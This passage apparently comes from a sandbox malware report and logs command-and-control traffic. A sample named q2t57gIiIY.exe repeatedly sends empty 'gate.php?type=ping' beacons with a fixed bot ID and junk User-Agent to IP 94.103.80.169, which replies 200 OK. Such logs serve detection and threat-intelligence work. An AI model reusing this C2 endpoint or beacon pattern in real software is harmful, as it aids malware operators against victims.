Aug 15, 2021 08:40:43.716064930 CEST	2350	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:43.744118929 CEST	2350	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:43.885575056 CEST	2351	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:43.915041924 CEST	2351	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:44.155806065 CEST	2351	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:44.185015917 CEST	2351	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49753	94.103.80.169	80	C:\Users\user\Desktop\q2t57gIiIY.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2021 08:40:44.799241066 CEST	2413	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:44.831693888 CEST	2413	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:44.953490019 CEST	2414	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:44.981661081 CEST	2415	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:45.107584953 CEST	2421	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:45.139238119 CEST	2422	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:45.248033047 CEST	2499	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:45.278002977 CEST	2499	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:45.392225981 CEST	2499	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:45.423971891 CEST	2499	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:45.543879032 CEST	2500	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:45.571954012 CEST	2501	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:45.685313940 CEST	2507	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:45.713746071 CEST	2520	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:45.825541019 CEST	2536	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:45.854229927 CEST	2536	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:45.965918064 CEST	2543	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:45.997385979 CEST	2543	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:46.106587887 CEST	2551	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:46.135241985 CEST	2552	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:46.248264074 CEST	2595	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:46.275870085 CEST	2613	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:46.392714024 CEST	2614	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:46.420447111 CEST	2615	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:46.529038906 CEST	2616	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:46.557009935 CEST	2617	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:46.670259953 CEST	2624	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:46.698818922 CEST	2624	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:46.810028076 CEST	2626	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:46.839674950 CEST	2627	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:46.950563908 CEST	2668	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:46.978710890 CEST	2676	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:47.090580940 CEST	2677	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:47.120100021 CEST	2678	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:47.234888077 CEST	2680	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:47.262927055 CEST	2680	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:47.373621941 CEST	2687	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:47.402750015 CEST	2688	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:47.514084101 CEST	2731	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:47.541918993 CEST	2767	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:47.671143055 CEST	2769	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:47.701121092 CEST	2769	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:47.812933922 CEST	2776	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:47.841995955 CEST	2777	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:47.952311993 CEST	2793	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:47.980639935 CEST	2821	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:48.092093945 CEST	2945	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:48.120213032 CEST	2957	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:48.237709999 CEST	2957	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:48.266439915 CEST	2958	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:48.372080088 CEST	2959	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:48.399565935 CEST	2959	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:48.513106108 CEST	2966	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:48.540996075 CEST	2966	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:48.657740116 CEST	2980	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:48.686436892 CEST	3008	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:48.793900967 CEST	3131	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:48.822001934 CEST	3173	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:48.936343908 CEST	3173	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:48.964637995 CEST	3173	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:48 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:49.075839996 CEST	3174	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:49.104518890 CEST	3174	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:49.216531992 CEST	3174	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:49.246646881 CEST	3174	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:49.357763052 CEST	3175	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:49.386228085 CEST	3175	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:49.498928070 CEST	3176	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:49.527283907 CEST	3176	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:49.640145063 CEST	3183	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:49.668550968 CEST	3183	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:49.795605898 CEST	3197	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:49.823558092 CEST	3225	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:49.936449051 CEST	3225	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:49.964200974 CEST	3226	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:49 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:50.076931000 CEST	3227	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:50.106182098 CEST	3232	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:50.215985060 CEST	3245	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:50.244312048 CEST	3247	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:50.357469082 CEST	3266	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:50.386213064 CEST	3266	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:50.498090029 CEST	3266	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:50.526599884 CEST	3266	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:50.638124943 CEST	3267	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:50.666018009 CEST	3267	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:50.778876066 CEST	3267	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:50.806296110 CEST	3267	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:50.918984890 CEST	3268	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:50.946500063 CEST	3268	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:50 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:51.060769081 CEST	3268	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:51.091578960 CEST	3268	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:51.200645924 CEST	3269	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:51.228657961 CEST	3269	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:51.341548920 CEST	3269	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:51.370469093 CEST	3269	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:51.482532024 CEST	3270	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:51.515156031 CEST	3270	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:51.638535976 CEST	3270	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:51.670742989 CEST	3270	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:51.779390097 CEST	3271	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:51.811481953 CEST	3271	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:51.919576883 CEST	3271	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:51.947765112 CEST	3271	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:51 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:52.060638905 CEST	3272	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:52.089338064 CEST	3272	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:52.200586081 CEST	3272	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:52.227942944 CEST	3272	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:52.341476917 CEST	3272	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:52.371171951 CEST	3273	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:52.481625080 CEST	3273	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:52.517910004 CEST	3273	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:52.622266054 CEST	3273	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:52.650479078 CEST	3274	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:52.766151905 CEST	3274	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:52.794332981 CEST	3274	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:52.903784037 CEST	3274	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:52.933139086 CEST	3275	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:52 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:53.044992924 CEST	3275	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
